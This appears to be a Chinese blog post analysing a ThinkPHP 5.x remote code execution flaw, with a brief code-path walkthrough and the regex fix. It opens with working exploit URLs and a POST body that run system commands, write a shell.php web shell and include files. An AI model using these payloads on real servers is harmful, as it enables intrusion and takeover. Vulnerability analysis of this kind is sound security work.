Thinkphp 5.0.x 未开启强制路由导致的RCE 漏洞分析

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

文件包含:

http://ip/index.php?s=captcha&m=1
post提交:
_method=__construct&filter[]=think__include_file&get[]=/home/www/thinkphp/public/payload.txt&method=get&server[]=

5.0.x php版本>=5.4

http://ip/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
http://ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://ip/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容需要url编码

thinkphp默认没有开启强制路由,而且默认开启路由兼容模式。

那么我们可以用兼容模式来调用控制器,当没有对控制器过滤时,我们可以调用任意的方法来执行!

还是拿 thinkphp5.0.5 来进行分析

payload:index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

命令执行成功!

漏洞分析:

断点跟进,先来到routeCheck方法中获得了路由

然后在里面对路由进行一系列的获取走出routeCheck之后的$dispatch的内容为:

最后进入module方法中进行调用

最后通过反射类进行传参来进行命令的执行

修复:

大于5.0.23、大于5.1.30获取时使用正则匹配校验

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}

参考文章:https://www.cnblogs.com/r00tuser/p/10103329.html
参考文章:https://y4er.com/post/thinkphp5-rce/#5024

posted @   zpchcbd  阅读(1227)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示